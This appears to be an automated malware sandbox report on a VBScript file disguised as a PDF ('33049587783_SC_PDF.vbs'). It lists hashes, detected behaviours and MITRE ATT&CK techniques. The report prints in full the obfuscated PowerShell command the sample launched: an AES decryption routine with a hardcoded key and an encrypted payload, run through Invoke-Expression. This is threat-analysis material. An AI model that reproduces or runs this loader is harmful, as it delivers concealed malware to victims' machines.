6c3b11ec24150c5a9fd09c81a747494aa356c9d26ebe93dee5fd99b751f53e42

General

Target

33049587783_SC_PDF.vbs
Size

124KB
MD5

21240c47b62ab8ec3a2c5bd3a8346139
SHA1

e7cec79c61f05c0098fb482752204e6cc98bc256
SHA256

6c3b11ec24150c5a9fd09c81a747494aa356c9d26ebe93dee5fd99b751f53e42
SHA512

0c277c57b1b7d5c87eb8b417a30a3224fc79f4e02f4056962a7769c16823c62254d2fb7b3fd2b0e324d936ad834ff2f6440813da0ebd4a23510cab3a738dd813
SSDEEP

3072:+50KKKKKKKKUKKKKKKKKsKKKKKKKKqDyKKKKKKKKg8KKKKKKKKjZzAfKKKKKKKKj:+aKKKKKKKKUKKKKKKKKsKKKKKKKKqWKp

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	2524	WScript.exe
7	2524	WScript.exe
9	2860	powershell.exe
10	2860	powershell.exe
11	2860	powershell.exe
12	2860	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2860	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2860	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 2860	2524	WScript.exe	32
PID 2524 wrote to memory of 2860	2524	WScript.exe	32
PID 2524 wrote to memory of 2860	2524	WScript.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\33049587783_SC_PDF.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI05500911371231083221953259509636CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI9MEGrRzIZ0AnAInnCBAAvc0WhrmAYvGHrar3C0tXRQdwheH6vDW4uK2psEXYbwmmC0wCiyec6HgNN1x5bdwducD9ETL7/znM+im7NufOkvVcU+fke+s0CL9tZ3FFvkl632aZxXn8aXEq3WXpguovAwFAO0XFjMFO/jNoojqrRncK/Pa1vqm6RcDteTOGL7FSNNZx6UEDKOQLNqinL2zptv39y7tVXlZTK1vOTRHLfbx/2PgeMPmL56BGwiZLdICnejq5bqw+DRL5QAgk5yXnBG96G1SuFXGbs6DD50EbRPm1Y95BwEBH9syVqLDv9b3TL0zuSZHhOt5U0GHWvuRzW4i2169D2CzM/P3UbhsQiWH4H6bZs/XSlNYasrhQvzZvglDpDXWtiu5BYX5Zm8f3ZBuhguIdOijyVSKAy6xeeDwEJ+c4jRTdQgZzMoSnCGENvAu52UdJNipFKJcXj/XfbBhFgYJbAnYsrZUYm1Tu8KINY3eeDfgCRFzdqhu4xJrICA2QDw6uVNH71XJhSKKPYuUxXyUtIkmqlnAKWBMLlwUh0VpFXyojinOpRftF+H2t099PsdhMkrQ8hrqUZxvq8K5YKkP6Ge+peoW3tD1kh32+x86I3+REWHZDZyTJkf/CTC661G8M913f2ARch2uOTiHQ/SuNs76Re+jt4W4BPcU7k9US1Uweo9HnvhsuuIFW/TbNjYgpU6oU9G2JhihdLojphL1Sd07SQr7q2s/FLq6FQO8UrOXNEJJ4DVDd/QHwUOsMIc6tBLsbk6FOQMPMFd6kfWPvahoC+WrLzM22DOAsikZt+AgSeNQqDQw+aTreRjeLPZ4yMyW5Rp0RRD27Gmrqtxt7EcOxdWxtoSMoggFddYRsb6Sg6BbvAZEXD2Xo0c1dUW/lS7crPoSNQNEUp1/y7cYhjWHN/qYU5nqg3zUsqryC6eYq9qQOtwKOcAMZCo1tW9M9XYU7V2IdPMFlVigqZwBpJCzZQeCZDHHln4rjJMRP2+m12tXZq2JpGjrc1a+NdeX4iT3xkSUoH9lxwXLKuPRMJT1L/MbLne+BMDNmaM85e+Zqrb4yoyfLr6VqyHHwta0QYtAxF/S4Xv7ilNrVDhQ0GG6XmsYbzjkIeWJHJbHw6Qppr2HE2CyAhwKhyMytVKRWlnRrM5dLJLrfC7VwopcHkmgvZDQw4/8Q7zVSDzKJ21EPagsFY7pdSlzZ7aRtG+5MCl1XWrcJ2JZxnji112NlbExjgPtV3KcnRD6hvWLZfMRxSPR/fJh92ne00ex2xGuaCBL6yi5K1kdNte9GiOpyZtYOFMLPpV8ZHSyim3867MpKspZB+et4gNWNXVPTKPxf4HdfGIfVq+YfRpLWGsSzlqvs8KpmbjdTXNXYp6EKUKqQvcKYHy3MqIA9K2XOAE2yxnZpRRyGTfEVaSdAcLANVMI7MGAgPmOTDgmdCs+3GcoyC7HFXJYE9AVWWHytIB3ZCUBc622Aep5z5DYDL7YySV6X+pUBYgvbNKWEVRYEkxARP79A3ZFSTi1hPZkjkzx6tXpLoBqBGlbzOBNadV2ohjkzr87Fu3u1M2tj0arON9H9sIUEhn/wbo2LFyawJaQgR8z9j6sCyUfaxuMqN78tryeFRAwDLf/2Yt7Lv83Q4SELdFLCawZf+bkwcudNOAioDc39ayL2F/4oSM4WobXQFRyAoYRJ3rkmr9zvxHu7AG+aoJh0HSTSpWaAE9LDLMZrpwAiwhcFQkfpEWhmwQ8q4J/B2yFrzhqnkDEJKo5ef2rV9yrJjYJTTBMzCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z2D3H3V6\paste1[1].txt

Filesize
156B

MD5
ad6c37ef980373e9bcbd14810fad34bc

SHA1
9c061a1b3608b7c7f1db7cd06c8246913ee11bda

SHA256
ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c

SHA512
30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

Download Submit
memory/2860-22-0x000007FEF614E000-0x000007FEF614F000-memory.dmp

Filesize
4KB

Download
memory/2860-23-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2860-24-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2860-25-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-26-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-27-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-28-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-29-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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